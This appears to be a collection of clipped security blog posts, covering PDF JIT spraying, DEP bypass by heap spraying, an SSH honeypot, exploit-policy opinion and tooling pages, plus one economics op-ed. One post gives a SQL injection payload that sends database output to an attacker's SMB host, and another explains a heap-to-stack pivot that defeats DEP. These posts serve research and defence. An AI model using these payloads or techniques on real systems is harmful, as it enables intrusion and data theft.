<img src='img/Temp2_4633.png' width='468' height='468' alt='pic1' />

3\. Now let’s see have a look at the right places \(highlighted in red below\)
in the memory space of Adobe Reader process once it loaded our crafted PDF:

<img src='img/Temp2_4634.png' width='442' height='344' alt='pic2' />

The ActionScript code we used in our embedded flash file clearly appears, in
the form of native machine code \(see the series of XOR operations above\).
Meaning, it was compiled by the JIT compiler.

_\[As a side note, the responsible file for playing Flash is named
"authplay.dll", in fact it is a standard Shockwave Flash application.\]_

Therefore, we know that PDF has the same situation as in the Flash: code can
be “sprayed” via the JIT compiler.

As we know, DEP is enabled from Adobe Reader 9.2.0, which indeed prevented a
lot of PDF based attacking, such as the popular exploit of the vulnerability
CVE-2009-4324 in the wild does not work on the latest Adobe Reader.

Unfortunately, now the situation changes, the DEP on Adobe Reader became much
easier to be attacked due to the Flash playing feature in PDF. And it is
expected that the working JIT Spraying exploit will appear in the wild in the
near future as the researchers \(both Blackhats and Whitehats\) are paying
more attentions on this area, so PDF zero-days will get a brand new way to
keep their lives. It is important information for our PDF zero-day defense as
well.

**Guillaume Lovet contributed to this post**

  

# Does Economics Still Progress? - NYTimes.com

**Created:**| _9/28/2011 4:04:31 PM_  
---|---  
**Updated:**| _9/28/2011 4:04:31 PM_  
**Author:**| __  
**Tags:**| _opinion_  
  

# Does Economics Still Progress?

In a few hours Sylvia Nasar and I will have an on-stage dialogue at the 92nd
Street Y, centered around her new book _The Grand Pursuit_ , which offers a
set of fascinating portraits of the makers of economics. \(Irving Fisher
invented the Rolodex?\) But as I was reading her book I have to admit that I
found myself wondering whether there’s much to celebrate.

I’ve never liked the notion of talking about economic “science” — it’s much
too raw and imperfect a discipline to be paired casually with things like
chemistry or biology, and in general when someone talks about economics as a
science I immediately suspect that I’m hearing someone who doesn’t know that
models are only models. Still, when I was younger I firmly believed that
economics was a field that progressed over time, that every generation knew
more than the generation before.

The question now is whether that’s still true. In 1971 it was clear that
economists knew a lot that they hadn’t known in 1931. Is that clear when we
compare 2011 with 1971? I think you can actually make the case that in
important ways the profession knew more in 1971 than it does now.

I’ve written a lot about the Dark Age of macroeconomics, of the way economists
are recapitulating 80-year-old fallacies in the belief that they’re profound
insights, because they’re ignorant of the hard-won insights of the past.

What I’d add to that is that at this point it seems to me that many economists
aren’t even trying to get at the truth. When I look at a lot of what prominent
economists have been writing in response to the ongoing economic crisis, I see
no sign of intellectual discomfort, no sense that a disaster their models made
no allowance for is troubling them; I see only blithe invention of stories to
rationalize the disaster in a way that supports their side of the partisan
divide. And no, it’s not symmetric: liberal economists by and large do seem to
be genuinely wrestling with what has happened, but conservative economists
don’t.

And all this makes me wonder what kind of an enterprise I’ve devoted my life
to.

# Why reforming the Vulnerability Equities Process would be a disaster -
CyberScoop

**Created:**| _5/23/2017 12:59:46 PM_  
---|---  
**Updated:**| _5/23/2017 12:59:46 PM_  
**Author:**| __  
**Tags:**| _policies opinion_  
  

  

# Why reforming the Vulnerability Equities Process would be a disaster

### Share

### Written by

Dave Aitel May 22, 2017 | CyberScoop
When the authors of WannaCry turbo-charged their ransomware with NSA exploits
leaked by the Shadow Brokers, people thought it was the Vulnerability Equities
Process’ worst-case scenario. It’s really not.

The VEP is the policy process the U.S. government undertakes when one of its
agencies finds a new software vulnerability. It’s how the government decides
whether to tell the manufacturer about the bug, so they can patch it and keep
all their customers safe; or to keep it secret and stealthily employ it to spy
on foreign adversaries who use that software.

In the wake of Shadow Brokers dumping several sets of highly advanced NSA
hacking tools online — many using previously unknown vulnerabilities — there
have been rising demands for reform of the VEP. Lawmakers have got in on the
act, pledging to legislate the process with the Protecting Our Ability to
Counter Hacking, or PATCH Act of 2017.

But the sudden viral spread of sloppily written ransomware — and the promise
of more to come — actually isn’t the worst case scenario for the VEP.

Remember Stuxnet? In real life, cyberweapons are composed of multiple elements
often contributed by different organizations and sometimes — as in the Stuxnet
case — even different countries.

\(Stuxnet also illustrates the fact that exploits do get caught in the wild
sometimes, but I’m not going to get into that here.\)

The real, worst-case VEP scenario would be if an exploit leaks that is
composed of GCHQ parts, with some NSA add-ons, some CIA add ons, and a piece
that you bought from a third party vendor under a special license. That could
cost you the trust of everyone in your exploit-building ecosystem.

Most of the proposals for reform of the VEP assume you can simply browbeat
those people — your third-party vendors, and U.S-allied intelligence services
like GCHQ, GCSB, etc. — into accepting that, on your whim, you can send their
vulnerabilities to a vendor for patching.

This is simply not true — any more than the idea that you could license out
the Windows source code if you felt like it.

The thing is this: The exploit vendors also get a vote on these matters. And
if you kill their bugs or exploit techniques, or simply have poor operational
security and get caught a lot, they tend to vote by simply not selling you the
good vulnerabilities.

I cannot overstate how much we need our foreign second-party partners in this
space, and even more than that, how much we need our supply chain.

Not only is the signals intelligence enabled through active network attacks
inescapably necessary for the safety of the country, but we are trying to
build up U.S. Cyber Command, enable law enforcement, and recover from the
damage that the Snowden leaks did to our credibility.

In simple terms, yes, exploits save lives. They are not weapons, but they can
be powerful tools. I have, and I cannot be more literal than this, seen it
with my own eyes. You don’t have to believe me.

Ironically, in order to determine which vulnerabilities present the most risk
to us and to just in general combat threats in cyberspace, we should hack into
foreign services, which is going to require that we have even more capability
in this space.

To sum up:

  * If you enforce sending vulnerabilities which are not public to vendors via a law, we will lose our best people from the NSA, and they will go work for private industry.

  * If we cannot protect our second party partner’s technology they will stop giving it to us.

  * If we give bought bugs to vendors, they will stop selling them to us. Not just that one exploit vendor. Once the U.S. government has a reputation for operating in this way, word will get out and the entire pipeline will dry up causing massive harm to our operational capability.

  * We need that technology because we do need to recover our capability in this space for strategic reasons.

Of course, the general rule of thumb in intelligence operations is to protect
your sources and methods at all costs. And that includes your exploit vendors.

I know there are those who argue that you can do network intrusion operations
entirely without zero days — but the truth is much more complex. The
operational capacity we get from zero days cannot simply be replaced by only
using exploits which have patches available.

Nor is it tenable to use exploits “just for a little while” and then give them
to a vendor. This simply creates an information path from our most sensitive
operations to our adversaries, breaking attribution, potentially destroying
relationships and allowing our targets to find and remove our sensitive
implants.

But there are better proposals available than reforming VEP. One idea is
simply to fund a bug bounty out of the Commerce Department for things we find
strategic — i.e. not just for software vulnerabilities \(which is something
vendors like Microsoft and Apple should fund\) but explicitly for exploits and
toolkits other countries are using against us.

Likewise, U.S. agencies should be more open when exploits we know get caught.
Rather than surrendering them on the front end, we should be better prepared
to clean up on the back end.

For instance: having custom-built mitigation expertise available ahead of time
for big corporations can limit the damage of a leak or an exploit getting
caught — albeit at the cost of attribution, of letting everyone know it was
us. This expertise probably should include writing and distributing third
party patches, IDS signatures, and implant removal tools.

Taking a look at every individual vulnerability can’t help but overwhelm any
process we build. A smarter process would develop large categories of
vulnerabilities and engage the teams to think about them that way. This avoids
having detailed information on any particular vulnerability sent to a large
number of people — which is just asking for another Hal Martin or Snowden
event. For example, knowing that the NSA is going to use “browser client
sides” over and over, and needs basically as many as it can find or buy, what
next? Those are the real strategic policies we need to put in place, and they
have nothing to do with individual bugs.

And having sensors on as many networks as possible can help discover which of
your cyberweapons might have been caught or stolen.

One important, unintended possibility if we close off our exploit pipeline is
that we instead will be forced into wholesale outsourcing operations
themselves — something I think we should be careful about.

Finally before we codify the VEP into any sort of law, we should look for
similar efforts from Russia and China to materialize out of the norms process,
something we have not seen even a glimmer of yet.

—

_Dave Aitel is the CEO of Immunity Inc., and the organizer of Infiltrate — an
annual security conference focused solely on offense. A former NSA ‘security
scientist’ and a past contractor on DARPA’s Cyber Fast Track program, he is
also a member of the U.S. Department of Commerce’s Information Systems
Technical Advisory Committee._

  

# Arab Team 4 Reverse Engineering \[AT4RE\]: Downloads / AT4RE RCE TOOLS /
Kernel Detective v1.4.1

**Created:**| _6/8/2011 1:48:27 PM_  
---|---  
**Updated:**| _6/8/2011 1:48:27 PM_  
**Author:**| __  
**Tags:**| _kernel windows environment_  
  

#### AT4RE RCE TOOLS

Kernel Detective v1.4.1  
---  
Author| GamingMasteR  
Author website| www.at4re.com  
Description| Kernel Detective is a free tool that help you detect, analyze,
manually modify and fix some Windows NT kernel modifications. Kernel Detective
gives you the access to the kernel directly so it's not oriented for newbies.
Changing essential kernel-mode objects without enough knowledge will lead you
to only one result ... BSoD \!  
  
Kernel Detective gives you the ability to :  
1- Detect Hidden Processes.  
3- Detect Hidden Threads.  
2- Detect Hidden DLLs.  
3- Detect Hidden Handles.  
4- Detect Hidden Driver.  
5- Detect Hooked SSDT.  
6- Detect Hooked Shadow SSDT.  
7- Detect Hooked IDT.  
8- Detect Kernel-mode code modifications and hooks.  
9- Disassemble \(Read/Write\) Kernel-mode/User-mode memory.  
10- Monitor debug output on your system.  
  
What's new in v1.4.1 :  
\- Fixed possible BSOD when scanning processes  
\- Fixed bug in callbacks scanning  
\- Enhanced showing files properties and signature verifying  
\- Skeleton SDK for VS2008 included  
  
What's new in v1.4.0 :  
\- Added plugins system  
\- Added support for windows server 2008, seven sp1  
\- Enhanced stability on NT 6.0+ \(windows vista/seven\)  
\- Improved driver scan  
\- Improved code hook scan  
\- Fixed bug prevent the tool from working on windows xp  
\- Fixed bug related to long paths  
\- Fixed bug in process/driver dumper  
\- Fixed bug in IDT scan  
  
SHA-256 :  
619E9AE64CC9DE82DD35CB3469D413E8C78A57EC8021B8450B 6EAD15526562D7  
Image| <img src='img/kd_1_4_0.jpg' />  
Filesize| 4 kB  
Date| Sunday 12 December 2010 - 19:25:11  
Downloads| 6789  
Download| <img src='img/download.png' />  
Rating| | <img src='img/star.png' /><img src='img/star.png' /><img src='img/star.png' /><img src='img/star.png' /><img src='img/star.png' /><img src='img/star.png' /><img src='img/star.png' /><img src='img/1166_7.png' /> 7.7 - 9 votes|   
---|---

# VRT: DEP and Heap Sprays

**Created:**| _12/21/2009 12:12:00 PM_  
---|---  
**Updated:**| _12/21/2009 12:12:31 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security Exploit_  
  

### DEP and Heap Sprays

Usually when you need to use a heap spray, you're SOL when it comes to DEP.
The reason for this has to do with why you used the heap spray in the first
place. In the case of a vtable overwrite you need a chain of pointers to get
the job done. A neat way to deal with this is to find an address
\(like`0x0c0c0c0c`\) that has a few special properties. It's the same char
over and over, it is executable as a NOP generally, and with a spray you can
fill memory up to and including that address. If you can't execute on the heap
however due to hardware DEP, the fact that it's a NOP doesn't really help you,
does it?  

[code]

      
    **Normal vtable Overwrite Crash**  
      
     mov edx, [eax]            <- Crash occurs here  
    mov ecx, eax  
    call dword ptr [edx+4]  
      
    In the above example, we control EAX. This means that in order to get  
    execution, we need EAX to be a pointer, that points to another pointer  
    (to be placed in EDX) which in turn points to code we wish to execute.   
    None of these pointers can be volatile for this to work.  In this case we  
    can use a heap spray of 0x0c0c0c0c to satisfy our requirements. If a  
    heapspray is not possible, we will need to find a real pointer chain. In  
    order to find such pointers you can make use of the byakugan functionality  
    !jutsu searchvtptr.  
      
    !jutsu searchvtptr 4 call [eax+4]  
      
    
[/code]

If, however, the vtable control isn't control of the pointer to the table, but
of the table itself \(as may be the case in say, a use after free vuln where
you have strong heap control and grooming ability\) then you only need to find
a ptr->ptr and the heap spray isn't needed as a nop sled. You'd only use the
heap spray to ensure that despite movement of data, you still hit executable
code. The sled will contain a list of return addresses only now. This will
require the pointer you choose be a multiple of 4, so that the return
addresses are aligned properly. 0x0c0c0c0c is still a good bet for this, but
we simply wont fill the heap spray with 0c, we'll instead use a pointer that
we'll find in just a moment.  

[code]

      
    **Full vtable Pointer Control  Crash**  
      
     mov edx, [eax]              
    mov ecx, eax  
    call dword ptr [edx+4]    <- Crash occurs here  
      
    In this example, we have control over the actual function pointers, rather  
    than the pointer to the table of function pointers.  We no longer need a  
    ptr -> ptr -> ptr, we only need a pointer to a pointer to executable  
    code that doesn't move.  In this case we can use a heap spray of library  
    addresses and eschew execution on the protected heap.  
      
    
[/code]

So, assuming we have control of data on the heap that a register points to,
and also perfect control of EIP, we can use a technique which "flips" the heap
to the stack to get execution on DEP systems. What we'd do is find an
instruction in memory that wont move around which will move that register into
ESP, then return. On non-ASLR systems such as XP, this is a simple matter. By
placing this address in EIP, we will effectively make the heap \(which we
fully control in this case\) become the stack. With stack control, we can
return to already mapped library code which also will not move, allowing us to
make arbitrary system calls, with arbitrary arguments.  

[code]

      
    **Flipping the Heap to the Stack**  
      
     mov esp, eax  
      
    If EAX points to a structure on the heap which you control, then the above  
    code will make that controlled memory become the effective contents of  
    the stack. From here you will be able to begin a chained ret2lib style  
    payload with arbitrary arguments.  You can easily find non-moving return  
    addresses like this code with byakugan's searchOpcode functionality.  
      
    !jutsu searchOpcode mov esp, eax  
      
    
[/code]

From here, you can go the hard route, mapping pages, re-protecting them,
copying your shellcode to them, then returning back to that newly mapped space
which is of course mapped executable. The alternative is to just jump to the
turn DEP off function \(**NtSetInformationProcess**\), and return to your new
stack. \(See Uninformed v2 article 4: "bypassing windows hardware-enforced
dep" for details: http://www.uninformed.org/?v=2&a=4&t=txt  
  
If a vendor tells you that DEP will protect you from a vulnerability, do not
assume that your hardware will protect you. Perform other mitigations as well.

<img src='img/Temp2_8810.png' alt='Add to Technorati Favorites' /> <img
src='img/Temp2_8808.png' width='16' height='16' alt='Digg! This' />

POSTED BY LURENE GRENIER AT 5:13 PM <img src='img/Temp2_8809.png' width='18'
height='13' />

LABELS: BYAKUGAN, EXPLOITING

#### 2 COMMENTS:

curtw said...

    
The heap-to-stack technique reminds me a lot of what Nicolais Waisman taught
in his heap class that I took in May 2009 -
http://perpetualhorizon.blogspot.com/2009/05/immunitys-heap-overflow-course-
review.html

  *[5:13 PM]: 2009-12-17T17:13:00-05:00

# pshitt: collect passwords used in SSH bruteforce » To Linux and beyond \!

**Created:**| _6/30/2014 10:14:01 AM_  
---|---  
**Updated:**| _6/30/2014 10:14:01 AM_  
**Author:**| __  
**Tags:**| _attacks analysis mitigations log-management_  
  

# To Linux and beyond \!

#### Introduction

I’ve been playing lately on analysis SSH bruteforce caracterization. I was a
bit frustrated of just getting partial information:

  * ulogd can give information about scanner settings
  * suricata can give me information about software version
  * sshd server logs shows username

But having username without having the password is really frustrating.

So I decided to try to get them. Looking for a SSH server honeypot, I did find
kippo but it was going too far for me by providing a fake shell access. So
I’ve decided to build my own based on paramiko.

pshitt, Passwords of SSH Intruders Transferred to Text, was born. It is a
lightweight fake SSH server that collect authentication data sent by
intruders. It basically collects username and password and writes the
extracted data to a file in JSON format. For each authentication attempt,
pshitt is dumping a JSON formatted entry:

[code]

    {"username": "admin", "src_ip": "116.10.191.236", "password": "passw0rd", "src_port": 36221, "timestamp": "2014-06-26T10:48:05.799316"}
    
[/code]

The data can then be easily imported in Logstash \(see pshitt README\) or
Splunk.

#### The setup

As I want to really connect to the box running ssh with a regular client, I
needed a setup to automatically redirect the offenders and only them to pshitt
server. A simple solution was to used DOM. DOM parses Suricata EVE JSON log
file in which Suricata gives us the software version of IP connecting to the
SSH server. If DOM sees a software version containing _libssh_ , it adds the
originating IP to an ipset set. So, the idea of our honeypot setup is simple:

  * Suricata outputs SSH software version to EVE
  * DOM adds IP using libssh to the ipset set
  * Netfilter NAT redirects all IP off the set to pshitt when they try to connect to our ssh server

Getting the setup in place is really easy. We first create the set:

[code]

    ipset create libssh hash:ip
[/code]

then we start DOM so it adds all offenders to the set named _libssh_ :

[code]

    cd DOM
    ./dom -f /usr/local/var/log/suricata/eve.json -s libssh
[/code]

A more accurate setup for dom can be the following. If you know that your
legitimate client are only based on OpenSSH then you can run dom to put in the
list all IP that do not \(-i\) use an OpenSSH client \(-m OpenSSh\):

[code]

    ./dom -f /usr/local/var/log/suricata/eve.json -s libssh -vvv -i -m OpenSSH
    
[/code]

If we want to list the elements of the set, we can use:

[code]

    ipset list libssh
[/code]

Now, we can start pshitt:

[code]

    cd pshitt
    ./pshitt
[/code]

And finally we redirect the connection coming from IP of the _libssh_ set to
the port 2200:

[code]

    iptables -A PREROUTING -m set --match-set libssh src -t nat -i eth0 -p tcp -m tcp --dport 22 -j REDIRECT --to-ports 2200
[/code]

#### Some results

Here’s an extract of the most used passwords when trying to get access to the
root account:

<img src='img/Temp2_10582.png' alt='real root passwords' />

And here’s the same thing for the admin account attempt:

<img src='img/Temp2_10583.png' alt='Root passwords' />

Both data show around 24 hours of attempts on an anonymous box.

#### Conclusion

Thanks to paramiko, it was really fast to code pshitt. I’m now collecting data
and I think that they will help to improve the categorization of SSH
bruteforce tools.

Posted by Regit at 09:41 Tagged with: logstash, Netfilter, Security, Suricata

### Leave a Reply Cancel reply

Name \(required\)

E-mail \(required\)

URI

Your Comment

You may use these HTML tags and attributes: `<a href="" title=""> <abbr
title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del
datetime=""> <em> <i> <q cite=""> <strike> <strong> `

# MySQL network exploitation toolkit 1.1

**Created:**| _7/14/2010 6:50:00 PM_  
---|---  
**Updated:**| _7/14/2010 6:50:14 PM_  
**Author:**| __  
**Tags:**| _bookmark security tools Exploit sql-injection_  
  

# MySQL network exploitation toolkit 1.1

After some more work I am proud to announce that I will release version 1.1 of
the MySQL network exploitation toolkit, for the people who don’t follow us
that much; this is a tool with which you can make your computer listen over
port 445 and your computer will act as a SMB server.  
So you might wonder how this can be of any use but with this you can entirely
remove the blind MySQL injection problem; by letting a computer connect to you
and adding some information in the query.  
Here is a picture i just made to explain it for the people who missed the
previous posts:

<img src='img/Temp2_5543.jpg' />

In this picture I tried to simulate the following MySQL injection:

[code]

    index.php?id=1 AND load_file(concat('\\\\you\\', information()))
    
[/code]

Which would cause the MySQL server to connect back to you over the SMB
protocol and try to get the file named to the output of the information\(\)
function; as you can see it requires minimal.

Alright, I think you got an idea of how it works, now the second tricky part
kicks in and that is that we can attack the client side SMB client; when the
MySQL server connects to you it will use the default SMB client, by proper
exploitation of the SMB client you get remote code execution and with some
luck you will get  _kernel level_ access this way.  
I included 2 exploits MS10-020 and a lame DoS in the netbios protocol.

I did not yet release the actual trick on how to exploit the client side SMB
client with MS10-020 because it would give major problems on the internet and
lot’s of servers will get compromised.  
I think it’s better if I keep this trick for something longer, I was scheduled
to talk about this tool on Hack in the Box\(HitB\) at the Krasnapolsky in
Amsterdam but the speaker before me was talking through my time about router
security and unfortunately Saumil Shah did a very interesting talk after that
in another room which no one wanted to miss \(me neither because it was
brilliant\! <img src='img/Temp2_5545.jpg' alt=':D' /> \).

Anyhow, if you have experience with exploiting buffer overflows it is a piece
of cake to turn this in remote code execution and in the file smb2.py on line
194 there is the PoC which Laurent Gaffié released back in April, I even
pointed where the EIP and EBP get overwritten; if you first spam the buffer
with some packets, analyze where the buffer gets filled and let the eip jump
to that place you have a chance it will get reliable enough to trigger the
remote code execution, for now it’s just a DoS \(blue screen of death\) which
can proof that the server is vulnerable.

Then there still is a third trick where I will be working on in the next
versions of this tool and that is brute forcing the internal network and put
things in the startup folder so when the machines will restart the machine
will connect to you with a fresh shell.  
Here is a picture I just made to explain it to you:  
<img src='img/Temp2_5544.jpg' />

This release is having more capability to talk with SMB clients the proper way
and it is to provide more stability.  
I also made the code more organized and the way you will get the results is a
lot cleaner in this version.  
Have fun with it\!  
You can download version 1.1 in the download section here.

# WhoHasTlb? : Extracting TypeLib data from COM Objects | Don't Stuff Beans Up Your Nose
**Created:**| _9/17/2010 7:31:57 PM_  
---|---  
**Updated:**| _9/17/2010 7:31:57 PM_  
**Author:**| __  
**Tags:**| _security tools windows msrdp_  
  

Don't Stuff Beans Up Your Nose

Nerdy things…

<img src='img/Temp2_9445.jpg' width='940' height='198' />

Skip to content

  * Home
  * GitHub
  * About

← ReCon 2010

# WhoHasTlb? : Extracting TypeLib data from COM Objects

Posted on September 16, 2010 by s7ephen

So let’s say that you’re sitting down to a project \(perhaps a malware
analysis gig, fuzzing something, or just reversing\) and you realize that most
of the target is implemented in COM/ActiveX Objects. What would really help
you starting off on this project is a human readable version \(IDL\) of the
TypeLib associated with the COM Object. This way you can quickly begin to see
what the COM Object exports, and you can then begin to map out the rest of
your project \(choosing fuzzing targets, etc\). But unfortunately the .tlb
file didn’t come with it \(for whatever reason\). There are no known Microsoft
public APIs for extracting typelib data directly from a PE. You also think
it’s “sloppy” to register the COM Object just so tools like OLEView, and the
code you ripped from AxMan <img src='img/Temp2_9448.jpg' alt=';-)' /> can find
it. Furthermore, if you did chose the “register it” method, you’d have more
asspain cuz’ you’d have to snapshot the registry before and after, and then
diff to just to identify what changed after you regsrv32‘d the COM Object.
Blah blah blah blah. **BORING**. _Get to the point Stephen_.

Ok. So \(as you may already know\), compiled TLB data is stored in the
resource section of the PE file it is associated with. Here is what I used to
do:

1\. Observe the section in the resource section of the target PE using PEView.

<img src='img/Temp2_9440.jpg' width='300' height='297' />

2\. Find out the length of that specific section using the PE Header data.

<img src='img/Temp2_9444.jpg' width='300' height='119' />

3\. Do some basic math to find where the TLB data begins inside the PE file
\(using the TLB magic bytes to identify the beginning\).

<img src='img/Temp2_9439.jpg' width='300' height='121' />

4\. Open the target PE file in a Hex Editor and manually extract the TLB file
data into a new file \(or otherwise extract it using file offsets calculated
from PE Header values\).

<img src='img/Temp2_9447.jpg' width='300' height='59' />

5\. Open the newly created TLB file \(that we extracted from the PE\) in
OLEView so that we can convert it back to IDL form.

<img src='img/Temp2_9443.jpg' width='300' height='103' />

Well, this process obviously got tedious for every single binary I
encountered, so I wrote a tool called WhoHasTLB? \(using Ero Carrera’s
extremely useful PeFile\) to automate steps 1-4. I also compiled it into a
standalone executable so it was a bit more portable and easier to use
\(especially moving between VMs\).

<img src='img/Temp2_9442.jpg' width='300' height='133' />

I then also wrapped the TLB extraction routines in something that will search
a directory recursively for PE files containing TypeLib data. This is useful
on those large build directories that you get from customers with lots of
binaries in them.

<img src='img/Temp2_9446.jpg' width='300' height='168' />

After the TLB files have been extracted automatically by WhoHasTLB? you can
then just open them in OleView to have them converted to human readable IDL’s.

<img src='img/Temp2_9441.jpg' width='300' height='155' />

I hope this is useful\!

GitHub Repository and download is here.

* * *
**Possibly related posts: \(automatically generated\)**

  * tools winfieldc
  * Visual Basic Com OLE articles
  * G.E. Moore’s Sense Data and of the Hallucinative Forms

  

This entry was posted in fuzzing, reversing, tools. Bookmark the permalink.

← ReCon 2010

### Leave a Reply

# cryptable/zap-maven-plugin

**Created:**| _1/7/2019 9:06:50 PM_  
---|---  
**Updated:**| _1/7/2019 9:06:50 PM_  
**Author:**| __  
**Tags:**| __  
  

  

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-eye v-align-text-bottom js-evernote-checked' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true' data-evernote-id='11'%3e%3cpath fill-rule='evenodd' d='M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z' data-evernote-id='404' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Watch You must be signed in to watch a repository 2 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-star v-align-text-bottom js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='12'%3e%3cpath fill-rule='evenodd' d='M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z' data-evernote-id='406' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Star You must be signed in to star a repository 2 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-repo-forked v-align-text-bottom js-evernote-checked' viewBox='0 0 10 16' version='1.1' width='10' height='16' aria-hidden='true' data-evernote-id='13'%3e%3cpath fill-rule='evenodd' d='M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='408' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Fork You must be signed in to fork a repository 1 

#  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-repo js-evernote-checked' viewBox='0 0 12 16'
version='1.1' width='12' height='16' aria-hidden='true' data-evernote-
id='14'%3e%3cpath fill-rule='evenodd' d='M4
9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1
1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1
1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z' data-evernote-id='409' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> cryptable/**zap-maven-plugin**

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-code js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='15'%3e%3cpath fill-rule='evenodd' d='M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14
8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z' data-evernote-id='413'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Code <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-issue-opened js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='16'%3e%3cpath fill-rule='evenodd' d='M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0
8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z' data-evernote-
id='417' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Issues 0 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-git-pull-request js-evernote-checked' viewBox='0 0 12
16' version='1.1' width='12' height='16' aria-hidden='true' data-evernote-
id='17'%3e%3cpath fill-rule='evenodd' d='M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1
3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98
1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2
1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='422' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Pull requests 0 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-project js-evernote-checked' viewBox='0 0 15 16'
version='1.1' width='15' height='16' aria-hidden='true' data-evernote-
id='18'%3e%3cpath fill-rule='evenodd' d='M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4
4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0
1-1V1a1 1 0 0 0-1-1z' data-evernote-id='426' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> Projects 0 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-graph js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='19'%3e%3cpath fill-rule='evenodd' d='M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4
0H7V3h2v10zm4 0h-2V6h2v7z' data-evernote-id='428' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> Insights

### Join GitHub today

GitHub is home to over 28 million developers working together to host and
review code, manage projects, and build software together.

Sign up

This is a maven plugin to perform security scans with ZAProxy at integration
tests.

